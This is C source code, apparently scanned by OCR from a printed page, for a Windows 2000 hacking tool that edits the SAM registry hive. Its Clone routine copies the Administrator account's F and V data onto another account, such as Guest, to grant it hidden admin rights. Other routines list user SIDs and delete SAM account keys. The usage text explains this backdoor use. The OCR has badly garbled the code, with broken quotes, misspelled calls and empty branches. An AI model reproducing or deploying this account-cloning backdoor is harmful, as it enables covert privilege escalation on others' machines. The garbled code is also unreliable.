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#include <windows.h>
#include <string.h>
#include <stdio.h>

char name[50][30];
int KeyN=0;
//OpenKey() ViewUser() ListUser()

void Sid (char *sid);

1

void User (char *user);

I

void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);

I

int Clone (char *C_sid);
1

void Usage (void);

I

void main (int argc, char *argv[])
{

char SID[10];

char C_Sid[10];

char USER[40];

intn;

for (n=1;n<argc;n++)

{
if (argv[n][0] =="-")




{
switch(argv[n][1])
{

case '?"

case 'h"

case 'H":Usage();
break;

case 'I'"
case 'L"ListUser();
break;

case 'c"

case 'C":printf("Please Input Clone SID:");
gets(C_Sid);

if (strlen(C_Sid)<=10)

Clone(C_sSid);

else

printf("Error\n™);

break;

case's"

case 'S":printf("Please Input Delete SID:");
gets(SID);

if (strlen(SID)<=10)

Sid(SID);

else

printf("Error\n™);

break;

case 'u"

case 'U"printf("Please Input Delete USER:");
gets(USER);

if (strlen(USER)<=40)

User(USER);

else

printf("Error\n™);

break;

}

}

}

}

void Sid (char *sid)
{

HKEY hkey;
DWORD ret;

char C_sid[10];

ZeroMemory(C_sid,10);

strcpy(C_sid,"00000"); // SID 5
strcat(C_sid,sid); // 3
1l 0 SUCCESS

ret=RegOpenKey(HKEY_LOCAL_MACHINE, //
"SAM\SAM\Domains\\Account\Users\\", //
&hkey); 1/

if (ret==ERROR_SUCCESS)

else
return O;

I SID 0 SUCCESS
ret=RegDeleteKey(hkey,C_sid);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key(SID)\n"); //
else

{
printf("Delete Key FAIL(SID)\n"); //
return O;



}
RegCloseKey(hkey); //

}

void User (char *user)

{

HKEY hkey;
DWORD ret;
char C_user[40];

ZeroMemory(C_user,40);
strepy(C_user,™);
strcat(C_user,user);

ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM\SAM\\Domains\\Account\\Users\\Names\\",
&hkey);

if (ret==ERROR_SUCCESS)

else
return O;

ret=RegDeleteKey(hkey,C_user);

if (ret==ERROR_SUCCESS)
printf("Success Delete Key(USER)\n");
else

{
printf("Delete Key FAIL(USER)\n");
return O;

}
RegCloseKey(hkey);

}
void OpenKey (char *key)
{

HKEY hkey;

DWORD dwlIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];

FILETIME Ipftlast;

int i=0;

ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //

key, I/

o,/ 0

KEY_ALL_ACCESS, // KEY_??
I

&hkey);

for(i=0;ret=—=ERROR_SUCCESS;i++,dwIndex++)

ret=RegEnumKeyEx(hkey,dwindex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);

/l[dwIndex

/IT_name

/l&lpcbname IpName

I IpName

/INULL

/INULL

/INULL IpClass

/I&Ipftlast FILETIME

strcat(name[i],T_name);



ZeroMemory(T_name,100);
Ipcbname=100;
}

RegCloseKey(hkey);

I
for(KeyN=0;KeyN<i;KeyN++)
{

strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");

}

}

int ViewUser (char *key)

{

HKEY hkey;

DWORD IpType=0,ret;
char S_name[10];

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,

KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)

else
return O;

RegQueryValueEx(hkey,NULL,NULL,
&IpType,NULL,NULL);

/INULL

/INULL

/l&IpType

/INULL

/INULL IpData

wsprintf(S_name,"%X\n\r",IpType);
printf("%s",S_name);

return 1;

}

int ListUser (void)

int n;
char Buffer[70]="SAM\SAM\\Domains\\Account\Users\\Names\\";
char Temp[40]={"\0};

OpenKey("SAM\SAM\\Domains\\Account\Users\\Names");
for(n=0;n<KeyN;n++)

strcat(Buffer,name[n]);

wsprintf(Temp,name[n]);

strcat(Temp,"===>");

printf("%s", Temp);

ViewUser(Buffer);
strepy(Buffer,"SAMW\SAM\\Domains\\Account\\Users\\Names\\");

return 1;

}
int Clone(char *C_sid)

{

HKEY hkey,C_hkey;

DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];

LPBYTE IpDataF,|pDataV;



IpDataF = (LPBYTE) malloc(1024*2);
IpDataV = (LPBYTE) malloc(1024*10);

ZeroMemory(IpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\SAM\\Domains\\Account\Users\\000001F4",
0,

KEY_ALL_ACCESS,

&hkey);

if(ret==ERROR_SUCCESS)

else
return O;

ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)

else
return O;

ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)

else
return O;

ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,

0,

KEY_ALL_ACCESS,

&C_hkey);

if(ret==ERROR_SUCCESS)

else
return O;

ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,

IpDataF,

SizeF);

/IC_hkey:

I F

/10

/IREG_BINARY

/llpDataF

/ISizeF IpData

if(ret==ERROR_SUCCESS)

else
return O;

ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,

IpDataV,

SizeV);

ifret==ERROR_SUCCESS)
printf("Clone User Success\n");



else

{
printf("Clone User FAIL\n");

return O;
}

RegCloseKey(hkey);

RegCloseKey(C_hkey);

return 1,

}

void Usage (void)

fprintf

(stderr,"

"\t / \n"

"\t Win2K Adv Server + Visual C++ 6.0\n"

"\t dahubaobao\n"

"\t www.RingZ.org\;n"

"tOICQ 382690\n"

"\t dahubaobao@hotmail.com\n"

"\t Ringz \n"

"

"\t \n"

"\t\"-H\" \n"

"\t\"-L\" SID\n"

"\t\"-C\" SID \n"

"\t\"-S\" SID\n"

"\t HKEY_LOCAL_MACHINE\SAM\SAM\\Domains\\Account\Users\n"
"\t\"-U\" \n"

"\t HKEY_LOCAL_MACHINE\SAM\SAM\\Domains\\Account\\Users\\Names\n"
"

"\t \n"

"\t SID 5 \"o\" \n"

"\t 000001F5 1F5 Guest \n"

"\t Regedt32 SAM Administrators \n"

"\t -C \"Clone SID \" SID \n"
"\t -S \"Delete SID \" SID \n"
"\t -U \"Delete USER \" \n"
}
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